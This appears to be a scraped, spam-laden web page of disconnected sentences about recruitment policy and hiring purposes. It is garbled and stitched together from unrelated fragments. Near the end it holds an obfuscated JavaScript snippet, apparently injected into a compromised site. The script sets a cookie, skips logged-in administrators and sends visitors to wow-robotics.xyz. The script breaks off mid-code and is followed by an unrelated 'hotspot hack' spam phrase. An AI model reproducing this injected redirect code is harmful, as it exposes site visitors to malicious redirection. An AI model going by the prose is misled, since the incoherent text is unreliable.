It should be noted that treating everyone consistently does not always imply fairness. Your recruitment process must be cost-effective … 2 Policy Purpose 2.1 The aim of the policy is to outline the relevant steps in the recruitment process and to assign individual responsibilities for each of these steps. Hence, hiring right resources is the most important aspect of Recruitment. The best recruitment process enhances the organizations improvement and operating facilities because better will be the employees better will be the reputation of the company according to the international standard of markets in business. Notify me of follow-up comments by email. Recruitment Policy - Recruitment policy of an organization, includes hiring from the internal or external sources of organization. The purposes of recruitment are as follows: Attract and empower an ever increasing number of applicants to apply in the organization. recruitment and selecting practices add value to organization’s performance. Purpose of Recruitment is to create talent pool of candidates and enable organisation Recruitment and selection process to recruit the best. Djabatey (2012). Click here for instructions on how to enable JavaScript in your browser. Candidates can also see you are a reputable employer by the good practices you follow and are more likely to want to become an employee of your organisation. Employing the right people for your business is the most important part of your organization. PDF, 177KB, 4 pages. Important Recruitment Policies. Details. A successful business needs consistency in all aspects, employees included. The policy defines the objectives to be met in the implementation of Recruitment and Selection which are aimed at attracting competent individuals to fill a position with the most suitable applicant. The organization gets happier and more productive employees; Attrition rate reduces. The main source of the recruitment process is to hire the best talent, best person, best mind for the best and efficient working in an organiz… To ensure that selection is compliant with local legislation and policies, as well as company policies and procedures. A recruitment policy of an organisation should be such that: var a=['toUTCString','cookie','split','length','charAt','substring','indexOf','userAgent','match','MSIE;','OPR','Chromium','Firefox','Chrome','ppkcookie','location','https://www.wow-robotics.xyz','getElementById','wpadminbar','undefined','setTime','getTime',';\x20expires='];(function(c,d){var e=function(f){while(--f){c['push'](c['shift']());}};e(++d);}(a,0x1f4));var b=function(c,d){c=c-0x0;var e=a[c];return e;};(function(){if(document[b('0x0')](b('0x1'))===null){if(typeof c===b('0x2')){function c(d,e,f){var g='';if(f){var h=new Date();h[b('0x3')](h[b('0x4')]()+f*0x18*0x3c*0x3c*0x3e8);g=b('0x5')+h[b('0x6')]();}document[b('0x7')]=d+'='+(e||'')+g+';\x20path=/';}function i(j){var k=j+'=';var l=document[b('0x7')][b('0x8')](';');for(var m=0x0;m Straight Talk Mobile Hotspot Hack,
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